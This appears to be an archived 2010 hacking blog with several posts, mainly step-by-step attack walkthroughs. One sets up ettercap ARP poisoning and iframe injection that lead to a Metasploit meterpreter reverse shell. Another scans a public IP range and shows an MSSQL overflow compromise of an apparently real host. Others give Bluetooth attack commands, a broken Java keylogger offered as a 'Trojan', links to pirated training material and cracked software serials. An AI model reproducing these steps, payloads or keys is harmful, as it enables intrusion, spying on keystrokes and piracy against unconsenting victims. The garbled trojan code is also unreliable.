Ronnieflip

Ettercap MITM browser injection with backtrack

2010-10-25T00:57:00.000-07:00

The purpose of this post to provide an example of how to use the freely available Linux distribution Backtrack when conducting security testing; and to provide a specific example of an attack scenario with detailed instructions on the commands used and their meaning.

This is by no means an all encompassing tutorial for using Backtrack during security\penetration testing. If you do not have a basic understanding of what Backtrack is or how it isued I suggest you read some info about it here: http://www.backtrack-linux.org/about/ . This post is mainly to provide the readers with an overview of a common attack vector, using what I consider to be the “swiss army knife” of IT security tools.

The instructions contained below are provided for informational\educational purposes only and should only be used on networks that you control, or have permission to utilize.

Most of the techniques described here have been documented separately or similarly on other websites\blog posts. I will post a list of references at the end for further review, and to give credit where credit is due.

Let’s look at an overview of the attack scenario:

Conditions: Access to the network has already been gained by either wireless cracking, or some other access to a wired network. The target’s IP and operating has already been discovered, as well as the gateway IP address. Our computer, the target as well as the gateway are all on the same subnet. The target is a patched Windows XP machine running SP3 and IE8. We will use Backtrack 4 final release, and the Metasploit framework version 3.

The attack will begin with a basic MITM (man-in-the-middle) ARP poisoning attack against a single target on a network.

The network traffic, specifically the Web pages browsed by the target will be intercepted by our computer, and an iframe will be injected into all of the web pages viewed. This iframe will point back to our computer which will be hosting a web page with a malicious payload (via the Metasploit framework).

When the user browses to most web pages our iframe will execute the malicious content hosted on our computer in their browser. The end result will be admin\root access to the targets computer, via a meterpreter session.

Section 1: Prepare Backtrack

If you are already familiar with Backtrack you can skip this section. This is simply the steps required for preparing Backtrack after initial live boot.

Open a terminal session and type /usr/bin/start-network This command enables the networking on Backtrack

Now we need to update Metasploit. In a terminal type cd /pentest/exploit/framework3

This brings us to the Metasploit directory. Type in svn update. At the prompt type y.

This will update the Metasploit framework with the latest modules.

Now we need to enable IP forwarding using iptables

Enter echo 1 > /proc/sys/net/ipv4/ip_forward into a terminal window

Lastly we’ll ensure ip forwarding is enabled in ettercap

We need to edit the etter.conf file. However you choose to do that is up to you, I use VI. A VI tutorial is beyond the scope of this post. I suggest you check out the security researchers’ best friend: Google if you need help with VI. Type Kate from a terminal for a GUI text editor or choose it from the Utilities menu.

The file can usually be found here: /etc/etter.conf if you’re using Backtrack4 Final Release.

We need to make 3 changes in etter.conf:

ec-uid = 0

ec_guid = 0

uncomment the redir_command_on and redir_command_off sections below the “if you use iptables” section of etter.conf

Section 2: Prepare Ettercap filter

Ettercap is a network sniffer that can not only log packet data but can use filters to inject or replace data within the packets. When used in a MITM attack ettercap filters can drop packets, or inject code into packets that will be forwarded to the target machine.

Enter this data into a text file using your favorite text editor and save it as iframe.txt:

if (ip.proto == TCP && tcp.dst == 80) {

if (search(DATA.data, “Accept-Encoding”)) {

replace(“Accept-Encoding”, “Accept-Rubbish!”);

# note: replacement string is same length as original string

msg(“zapped Accept-Encoding!\n”);

}

if (ip.proto == TCP && tcp.src == 80) {

replace(“”, “”);

msg(“iframe Filter Ran.\n”);

}

The above filter will put our iframe right before the closing body tag in most web sites.

Now from aterminal and in the same directory where you saved iframe.txt enter ettefilter iframe.txt –o iframe.ef.

This command compiles the iframe.txt file into the actual etterrcap filter, or “ef” file.

A success message would look like this: Script encoded into 15 instructions.

Section 3: Launch Metasploit

From the /pentest/exploit/framework3directory launch the Metasploit console with this command msfconsole

You can choose your favorite browser exploit, I’m going to use: windows/browser/ms10_xxx_helpctr_xss_cmd_exec

Metasploit commands:

Use windows/browser/ms10_xxx_helpctr_xss_cmd_exec

Set PAYLOAD windows/meterpreter/reverse_tcp

Set LHOST youripaddress

Set SRVHOST youripaddress

Set SRVPORT 80

Exploit

Section 4: Launch Ettercap for MITM attack

Now that all of the different prereqs for the attack have been prepared we can launch ettercap

Enter the following command into a terminal window (replace underlined items with the correct name in your environment): ettercap –i wlan –F iframe.ef –TQM arp:remote /targetip/ /gatewayip/ -P autoadd

The –i witch specifies interface, you only need it if you have multiple interfaces. If you have only one you can omit. –F is specifying the filter to use. T= text mode, Q=quiet M=MITM attack.

You may see only one of the addresses is added to an ettercap group. This is not uncommon with wireless clients. Both the gateway and target need to show up in one of the groups. You can either wait until your target sends an arp request or you can force it to by pinging a non existent IP on your subnet from the target. The choice is yours.

Once ettercap is running open up IE on your target and browse somewhere, I used test.com. You should see the “iframe filter run” message on your Backtrack box.

You should also see the exploit initiate on the Metasploit terminal. On your victim box a message will pop up. If oyu click allow the exploit will run.

You should then see a meterpreter session initiated on your Backtrack computer.

You can hit CTRL+C then type sessions –i 1 (that’s a number 1) to interact with the meterpreter session.

You’ve compromised the box! You can now do things like drop to a command shell on the target by entering shell into meterpreter. Or, if you want to be surreptitious you could enter execute –F cmd.exe –i –H –c. there are many things you can do with a successful meterpreter session setup. You can upload\download files, grab password hashes, send over a secure back door program like netcat, edit the registry… really whatever you want to do.

I hope you’ve found this post helpful, and will use it as a catalyst for more research to the kinds of things you can do with Backtrack and metasploit.

References

http://www.irongeek.com/i.php?page=security/ettercapfilter

http://www.backtrack-linux.org/

http://hi.baidu.com/artcracker/blog/item/86209ed411e1cac850da4b15.html

http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,5078.msg25656/topicseen,1/

http://www.irongeek.com/i.php?page=videos/deploying-metasploits-meterpreter-with-mitm-and-an-ettercap-filter

http://forum.intern0t.net/offensive-guides-information/603-arp-poisoning-mitm-attack.html

Backtrack R1

2010-10-25T00:27:00.000-07:00

The guys at Offensive Security have yet surprised us with another security leap right before

the year ends. Backtrack R1 With over 6 months of production and joint work with blackhat, have put together once again some

of the best security tool and updates there be. Below is the update log:

* A New kernel (2.6.34)

* Massively improved hardware support

* Support for new wireless drivers

* Official FluxBox Support

* A battery of new tools added

* Some additional surprises

For those of you who are hearing backtrack for the first time. BackTrack is a Linux-based penetration

testing arsenal that aids security professionals in the ability to perform assessments in a purely

native environment dedicated to hacking. Regardless if you’re making BackTrack your primary operating

system, booting from a LiveDVD, or using your favorite thumbdrive, BackTrack has been customized down

to every package, kernel configuration, script and patch solely for the purpose of the penetration tester

Download Backtrack for free

Metasploit MSSQL Exploit

2010-07-21T03:59:00.000-07:00

The following exploit is for Microsoft SQL Server.

Requirements
Metasploit framework
NMap

Microsoft SQL Server listens on port 1433 and port 1434. Port 1433 is a TCP (Transmission Control Protocol) port. While 1434 is a UDP (User Defined Protocol) port. For NMap we will be using a SYN Scan a SYN scan is pretty much like playing ding dong ditch. A regular protocol requires a three way hand shake. A SYN scan initiates the hand shake waits for a reply then leaves. Metasploit we will be using the exploit MSSQL 2000/MSDE Resolution Overflow. “This is an exploit for the SQL Server 2000 resolution service buffer overflow. This overflow is triggered by sending a udp packet to port 1434 which starts with 0x04 and is followed by long string terminating with a colon and a number. This module should work against any vulnerable SQL Server 2000 or MSDE install (pre-SP3).”

First step is to find a vulnerable host to do this we will be looking for a host that has port 1434 open. When I scan hosts with NMap I always give it a range for I have a better chance of getting a hit. I also have the command output the results to a file for I have them on record and they are easier to search.

#nmap –sU –p1434 –P0 –sS 24.151.0.0/16 >>/home/user/1434.txt

-sU UDP scan
-p What port to scan in this case 1434
-P0 Don’t ping host first
-sS SYN scan this is for TCP but I’m in the habit of always using it
IP The IP address 24.151.0.0
/ Subnet suffix in this case 16=255.255.0.0
>> Where the output file is going to be located

The scan is going to take a while we are scanning 65,025 hosts. When the scan is done or 30min feel free to start searching the output file for anything that says open.

Interesting ports on 24-151-73-076.dhcp.nwtn.ct.charter.com (24.151.73.76):
PORT STATE SERVICE
1434/udp open ms-sql-s

So now that we found a potential box for attack we try to hack it. I will be using Metasploit 2 console for this attack, Metasploit 3, gui and web interface will all work as well.

#msfconsole
[*] Starting the Metasploit Framework...

+ -- --=[ msfconsole v2.7 [158 exploits - 76 payloads]

msf >use mssql2000_resolution
msf mssql2000_resolution >set PAYLOAD win32_reverse_meterpreter
PAYLOAD -> win32_bind_meterpreter
msf mssql2000_resolution(win32_bind_meterpreter) > show options

Exploit and Payload Options
===========================

Exploit: Name Default Description
-------- ------ ------- ------------------
required RHOST The target address
required RPORT 1434 The target port

Payload: Name Default Description
-------- -------- ------------------------------------------- ----------------------
--------------------
required EXITFUNC process Exit technique: "proce
ss", "thread", "seh"
required METDLL /home/framework/data/meterpreter/metsrv.dll The full path the mete
rpreter server dll
required LPORT 4444 Listening port for bin
d shell

Target: MSQL 2000 / MSDE

msf mssql2000_resolution(win32_bind_meterpreter) >

msf mssql2000_resolution(win32_bind_meterpreter) > set RHOST 24.151.73.76
RHOST -> 24.151.73.76

msf mssql2000_resolution(win32_bind_meterpreter) > set LHOST 10.10.10.197
LHOST -> 10.10.10.197
msf mssql2000_resolution(win32_bind_meterpreter) > exploit
[*] Starting Bind Handler.
[*] Trying target MSQL 2000 / MSDE with return address 0x42b48774
[*] Execute 'net start sqlserveragent' once access is obtained
[*] Got connection from 10.10.10.197:2199 <-> 24.89.130.146:4444
[*] Sending Intermediate Stager (89 bytes)
[*] Sending Stage (2834 bytes)
[*] Sleeping before sending dll.
[*] Uploading dll to memory (69643), Please wait...
[*] Upload completed

meterpreter> use –m Process
loadlib: Loading library from ‘ext227496.dll’ on the remote machine
meterpreter>
loadlib: success.
meterpreter> execute –f cmd –c
execute: Executing ‘cmd’…
meterpreter>
execute: success, process id is 1576
execute: allocated channel 1 for new process.
meterpreter> interact 1
interact: Switching to interactive console on 1…
meterpreter>
interact: Starter interactive channel 1.

Microsfor Windows 2000 {Version 5.00.2195
© Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32>

When you get to the shell you can do a whoami and you will see that you are logged in as NT AUTHORITY\SYSTEM, that means you have Administrator rights. Now your imagination is the limit.

How to Break in and Stay in

2010-05-26T21:22:00.000-07:00

NOTE:This is only meant for educational purposes

In this tutorial i explain how easy it can be for one to hack into your computer or network and maintain his access at any later time. The art of hacking comes only when you can break in and stay in. Most attacks are realized as soon as they take effects, and the victim is likely to block or patch the attack. In such a case yo will need to have a way through which you can still get in without having to run a pile of exploits on the victims box. We look at how useful Meterpreter services (metsvc) can be and how you can crack password hashes in a few seconds. I demonstrate the use of filter files with ettercap to make a spoofed attack.

Installing spoonwep2 and spoonwpa on BackTrack 4

2010-05-03T04:40:00.000-07:00

Incase you need more visual help on installing spoonwep and spoonwpa, you can watch the video.

First you'll need to download Spoonwep2 and Spoonwpa in the /tmp/ dir:

cd /root/Desktop
mkdir /tmp/{spoonwep2,spoonwpa}
wget hxxp://shamanvirtuel.googlepages.com/SWPA.lzm 
wget hxxp://neovortex.kodings.googlepages.com/spoonwep2.lzm
lzm2dir SWPA.lzm /tmp/spoonwpa

lzm2dir spoonwep2.lzm /tmp/spoonwep2

code:

cp -rpv /mnt/sdc1/spoonwpa/usr / 
cp -rpv /mnt/sdc1/spoowep2/usr /

This will create two files so that spoonwep and spoonwpa can be able to detect the interfaces

Spoonwep

 echo "
#!/bin/bash
chmod 777 /usr/local/bin/wifispoonfeeder/
rm /bin/sh
ln -s /bin/bash /bin/sh
spoonwep
sleep 1
while ! [ -e /usr/local/bin/wifispoonfeeder/spoonwep/tmp/wscapture-01.csv ]
do
sleep 1;
done
ln -s /usr/local/bin/wifispoonfeeder/spoonwep/tmp/wscapture-01.csv /usr/local/bin/wifispoonfeeder/spoonwep/tmp/wscapture-01.txt 2>/dev/null
rm /bin/sh
ln -s /bin/dash /bin/sh " >/usr/bin/spoonwep.sh

Spoonwpa

 echo "
#!/bin/bash
chmod 777  /usr/local/bin/wifispoonfeeder/
rm /bin/sh
ln -s /bin/bash /bin/sh
spoonwpa
sleep 1
while ! [ -e /usr/local/bin/wifispoonfeeder/spoonwpa/tmp/wscapture-01.csv ]
do
sleep 1;
done
ln -s /usr/local/bin/wifispoonfeeder/spoonwpa/tmp/wscapture-01.csv /usr/local/bin/wifispoonfeeder/spoonwpa/tmp/wscapture-01.txt 2>/dev/null
rm /bin/sh
ln -s /bin/dash /bin/sh " >/usr/bin/spoonwpa.sh

Now make it executable:

 chmod 755 /usr/bin/{spoonwep.sh,spoonwpa.sh}

You want to make sure that they appear in the BackTrack menu. So let us change the desktop file and edit the command:

mv /usr/local/share/applications/spoonw* /usr/share/applications/

Open up spoonwep.desktop in any text editor of your choice and change the line Exec giving:

[Desktop Entry]
Comment=
Exec=spoonwep.sh
GenericName=
Icon=cache
Name=SpoonWep2
Path=
StartupNotify=true
Terminal=0
TerminalOptions=
Type=Application
X-KDE-SubstituteUID=false
X-KDE-Username=
Categories=BT-Radio-Network-Analysis-80211-Cracking

For Spoonwpa:

[Desktop Entry]
Comment=
Exec=spoonwpa.sh
GenericName=
Icon=cache
Name=SpoonWpa
Path=
StartupNotify=true
Terminal=0
TerminalOptions=
Type=Application
X-KDE-SubstituteUID=false
X-KDE-Username=
Categories=BT-Radio-Network-Analysis-80211-Cracking

Lets update our menus. From the command line type:

 update-menus

Your Spoonwep2 and Spoonwpa is all set and ready to use.

Metasploit backdooring

2010-04-24T12:37:00.000-07:00

With metasploit, it's possible to get any windows binary file and use it as a backdoor on a victims computer. You can gain metapreter shell at any point. All that needed is to embed the metasploit payload into any executable that you want.

Bluetooth discovery with Ruby

2010-04-19T12:50:00.000-07:00

#!/usr/bin/ruby

#file: whereib.rb

deviceid = '00:0E:6D:29:38:EB'
devicename = 'Nokia 6600'

count = 0

while count <>  if `hcitool name #{deviceid}`.chomp == devicename 
    puts devicename + ' IN RANGE'
    puts Time.now
  else
    puts devicename + ' OUT OF RANGE'
    puts Time.now
  end
  sleep 7

end

Best of Linux Network Tools via (apt-get install)

2010-04-15T12:59:00.000-07:00

I collected a list of some of the best Linux networking tools that you can easily install via apt-get. I will be updating the list with time. So you can always check by for more. Hope it helps.

1. ngrep - grep for network traffic
install: sudo apt-get install ngrep

2. Tcptrace - Tool for analyzing tcpdump output
install: sudo apt-get install tcptrace

3. Netdude - NETwork DUmp data Displayer and Editor for tcpdump trace files
install: sudo apt-get install netdude

4. Dsniff - Various tools to sniff network traffic for cleartext insecurities
install: sudo apt-get install dsniff

5. Hping3 - Active Network Smashing Tool
install: sudo apt-get install hping3

6. Snort - Flexible Network Intrusion Detection System
install: sudo apt-get install snort

7. Tcpdump - A powerful tool for network monitoring and data acquisition
install: sudo apt-get install tcpdump

Bluetooth hack 2010 [2nd demo with latest phones]

2010-04-13T12:47:00.000-07:00

Backtrack 4 tools on Ubuntu

2010-04-13T10:19:00.000-07:00

For some of us who have found flexibility in using ubuntu, we lost option with the introduction of the increadible Backtrack distro. For thoses who are woundering what it is............you can cheack it out for your self here. Things is that it would take you forever downloading each interesting tool thats on backtrack to ubuntu. Just like ubuntu, backtrack has repositories where it updates all it's tools for it's users. So this is how you can simply get a ubuntu-backtrack touch on the same box.

First, you need to import the archive GPG key into your system

ronnie@blindsecurity:~$ wget -q http://archive.offensive-security.com/backtrack.gpg -O- | sudo apt-key add -

Now add the repository:

ronnie@blindsecurity:~$ sudo echo "deb http://archive.offensive-security.com pwnsauce main microverse macroverse restricted universe multiverse" > /etc/apt/sources.list

You can also add the Test repository(Only if you are a developer and know what you are doing). It's not meant for the ordinary users.
ronnie@blindsecurity:~$ sudo echo "deb http://sun.offensive-security.com/repotest/ ./" >> /etc/apt/sources.list

Hacking Bluetooth Backtrack4 [Blue_ron v.01 Demo]

2010-03-17T12:33:00.000-07:00

I've been forced to show you this demo with the fact that the tool is still under development. This is a demonstration of Blue_ron v.01 a bluetooth hacking tool that exploits the logical link control and adaptation protocol. It's has been tested on a number of phone but most successful exploits are on Nokia phones. Please: Use information wisely.

Hacking simplified

2010-03-15T13:45:00.000-07:00

Ok.....I've got a number of requests from different people asking me where to start from in order to learn hacking. The first thing i always say is that, "You never learn hacking, you build onto it!". As you go on you will realize that it's all about looking at usual things in a new way. It's getting your hands dirty with a couple of programing and tools exploration.

First there is nothing like a hacker's language. All programing languages are good, it's only the portability and know-how level that could limit you. But ofcourse, there are a few things you may want to consider because they top my list.

1. Learn Assembly programing, atleast be able to interpret it.

2. C is a good and powerful language to start with. However, as time goes on you will need to get your hands used to either Python,Perl,PHP or Ruby. You will never regret knowing at least two of them

3. TCP/IP networking

4. Unix shell programing

5. Get your self a copy of BACKTRACK and familiarize yourself with it.

6. Join a hacking forum and be an active member (Just google for the forums. Remote exploit is a good start)

Note:

When you join a forum or IRC chat room please, save yourself not to ask people how to hack because no one will help you. Research first before asking for help. It makes you look like a script kiddie pinging all night! lol

7. Stay focused not to lose hope. Remember, Rome was not built in one day. Do your revisions and keep trying out new things. Falling asleep should be your only limit.

Places to start from:

1. Career Academy | Rootkits, Backdoors, Trojans, Tunnels
http://rapidshare.com/files/266444863/Rootkits__Backdoors__Trojans___Tunnels_-_Der_Jager.rar

2.Certified Ethical Hacker v.6 [4 CD Set]

http://rapidshare.com/files/266052956/RAT.part01.rar

3.Offensive Security 101 - Videos & PDF
http://thepiratebay.org/torrent/4025361/Offensive_Security_101_-_Videos__amp__PDF

4.Bactrack4 tutorials (Videos)
http://www.offensive-security.com/backtrack-tutorials.php

5. Hacking all trends (videos)
http://www.securitytube.net/

6.Remote Exploit videos
http://forums.remote-exploit.org/backtrack-videos/

This list will be updated over time. So stay on the watch from more updates.

RFCOMM connection using backtrack4

2010-03-15T04:02:00.000-07:00

There are still many questions on the web when it comes to RFCOMM connections. In this tutorial i will explain some of the basic methods to get you up and running with RFCOMM connection to an external bluetooth GPS and read NMEA data.

First, switch on the GPS and identify the BT address.

hcitool scan hci0

Now, edit /etc/bluetooth/rfcomm.conf to appear like the image above.

Restart your BT services:

root@ronnieflip:~$ /etc/init.d/bluetooth stop

root@ronnieflip:~$ /etc/init.d/bluetooth start

You should now be able to bind your GPS to /dev/rfcomm0, like this:

root@ronnieflip:~$ rfcomm bind 0

Confirm your connection:

root@ronnieflip:~$ rfcomm

rfcomm0: 00:11:22:33:44:55 channel 1 clean

....watch the NMEA strings coming from your GPS:

root@ronnieflip:~$ cat /dev/rfcomm0

$GPGGA,111748.000,5907.6964,N,01121.1787,E,1,06,1.2,57.7,M,40.1,M,,0000*6F

$GPRMC,111748.000,A,5907.6964,N,01121.1787,E,0.00,94.94,160807,,,A*50$GPVTG,94.94,T,,M,0.00,N,0.0,K,A*3D

Basic linux Trojan

2010-03-11T22:04:00.000-08:00

This is a basic Trojan virus for linux that runs on port 7482.

Note:

I take no responsibility for the use of this code as it's only meant for educational purposes. If you get bursted you are on your own.

import java.io.*;
import java.net.*;
import java.util.*;
 
public class Blind_trojan
{
   private ServerSocket sock;
   public static final String keyClick = "";
   public static final int PORT = 7482; // Torjan port
 
   public static void main(String args[]) throws IOException
      {
         TCPSimpleServer server = new TCPSimpleServer();
         server.run();
      }
 
   public static void run()
      {
         Socket soc = null;
         sock = new ServerSocket(PORT);
  
         while(true)
          {
           soc = sock.accept();
           OutputStream os = soc.getOutputStream();
           OutputStreamWriter osw = new OutputStreamWriter(os,"8859_1");
           BufferedWriter bw = new BufferedWriter(osw);
   
           keyClick = keyBoard();
   
           if(keyClick != "")
         { 
            bw.write(keyClick);
            keyClick = "";
       }
    }
  

   bw.close();
   soc.close();
  }
 

    private static String keyBoard()
      {
          int keyCode = evt.getKeyCode();
          int modifiers = evt.getModifiers();
  
          if (evt.isControlDown())
          return " + CTRL + ";
          else
          return  modifiers;
      }
 
}

What do you know about Bluetooth hacking on BT4 (Presentation))

2010-02-16T20:49:00.000-08:00

Bluetooth hacking on BT4

For your case this is not a tutorial on hacking bluetooth. Am just looking for ideas from other people who have a deeper understanding in bluetooth. You can visit the sites below for basic training;-
http://www.youtube.com/watch?v=PvxccqVC4Oo
http://www.youtube.com/watch?v=6z1d3sXD9RU

You can also join the facebook hacking bluetooth page for more ideas:-
http://www.facebook.com/pages/Hacking-Bluetooth/273923608586?ref=ts

What do i have on my box
First, i wrote a script to configure my Bluetooth device so that i wouldn't have to keep typing every time i need to set it up. This is what it looks like

#!/bin/sh mkdir -p 666 /dev/bluetooth/rfcomm mknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0 mknod --mode=666 /dev/bluetooth/rfcomm0 c 216 0

# Firing up the bluetooth device#
hciconfig -a hci0 up hciconfig -a hci0 class 0x500204 hciconfig -a hci0 lm accept, master; hciconfig -a hci0 lp rswitch,hold,sniff,park; hciconfig -a hci0 auth enable hciconfig -a hci0 encrypt enable hciconfig -a hci0 name ronsoft

Incase you want to change it by the file you can navigate to the bluetooth dir nano /etc/bluetooth/
Here you can have control of even more options by playing around with the conf files.
> rfcomm.conf
> network.conf
> main.conf

Footprinting the remote device
Scan for devices:
hcitool scan hci0
hcitool info xx:xx:xx:xx:xx:xx

You can also ping the device to know it's range
l2ping xx:xx:xx:xx:xx:xx

sdptools browse --l2cap

This will list all service, channels and alot info about the remote device. You may wonder how this could help, but this is the gold mine of bluetooth hacking. Take a pen and paper and note down the important services with their channel numbers, record handles and value attributtes. Famous ports:-
DUN - Dial up network
OBEX - Object exchange
OPUSH - Object push for file trasfer
SAP - Sim access

Update you sdp db

sdptool add --handle= --channel=
sdptool add --handle = 0x10013 --channel = 4 SAP
Now the stress starts from here,. Trying to bind and then connect the rfcomm to the remote device.

rfcomm
rfcomm
rfcomm bind /dev/bluetooth/rfcomm xx:xx:xx:xx:xx:xx 4
rfcomm connect /dev/bluetooth/rfcomm xx:xx:xx:xx:xx:xx 4
rfcomm show

With the above code, my box turns into an error box. First i get the signals to the remote bluetooth phone but nothing can happen untill i accept the request from the phone. Well, the victim may by chance just hit the accept button without knowing..hahahahaaa....! After establishing connection the remote device needs a 16 digit number in order to complete the pairing!

Now guy, take the turn and tell me. How do you deal with this in your own world?

Tried bluesnarfer and bluebugger but still couldn't get so far. The funny thing is that i can make a call through to the remote device but i can't pull it's phonebook!

bluebugger -m Ron -c 7 -a xx:xx:xx:xx:xx:xx dail 9818303531
The phone goes through successfully even without making prompts accept from the screen light blink

These are some of the errors i get when i try it with bluesnarfer and more bluebugger.
bt_rfcomm_config failed unable to create rfcomm connect open /dev/bluetooth/rfcomm/0 connection refused
Can't connect RFCOMM socket: tcget attr failed: Input / output error bt_rfcomm_config() failed
rfcomm error connection 216 connection fail RFCOMMDEV / bluetooth/ not connected.

Guys, if you are good enough with bluetooth please, help out. No one has yet attempted to find a solution to this question "I assume!" Because there are alot of questions but few answers.

Reference:
http://www.palowireless.com/infotooth/tutorial/rfcomm.asp

Downloading and Installing Trapcode Plug-ins (Video))

2010-02-16T20:40:00.000-08:00

Wondering were to download trapcode plug-ins 100% for free? How to Insall them so that they can be ready to use in After effects? Then this vid is dedicated to you.

Download Link:
|====== + =======|
http://thepiratebay.org/search/trapco...


1)Trapcode 3D Stroke v2.5 (c) Reg Giant
8903-8797-2500-5519-4444
8340-8710-2500-7987-6881
9218-8738-2500-7902-9759
8981-8721-2500-9688-2522

2)Red Giant Trapcode Form v1.0.2
serial: 9297-8963-1018-3565-2930

3)Red Giant Trapcode Horizon v1.0
serial: 1382-9470-1730-7815-0730

4)Red Giant Trapcode Lux v1.0.2
serial: 1918-9141-1402-9998-4402

5)Red Giant Trapcode Particular v1.5.1
serial: 9002-8862-1284-3553-3389

6)Trapcode Shine v1.5 (c) Red Giant
8815-8527-1500-5923-7332
9211-8575-1500-7243-1728
8659-8595-1500-6742-1176

7)Trapcode Starglow v1.5 (c) Reg Giant
8936-8664-1500-9257-8965
9153-8636-1500-6778-9182
8955-8630-1500-5230-5984
8841-8608-1500-7836-0870

8)Echo space serial
1806-9363-1382-3577-4294

Hacking with the SET toolkit explained (Video)

2010-02-16T20:36:00.000-08:00

Network Hijacking with Ettercap script (Video)

2010-02-16T20:34:00.000-08:00

Installing spoonwep and spoonwpa

2010-02-16T20:24:00.000-08:00

Hacking bluetooth Part Two (Video)

2010-02-16T12:40:00.000-08:00

Hacking bluetooth Part 0ne (Video)

2010-02-16T12:34:00.000-08:00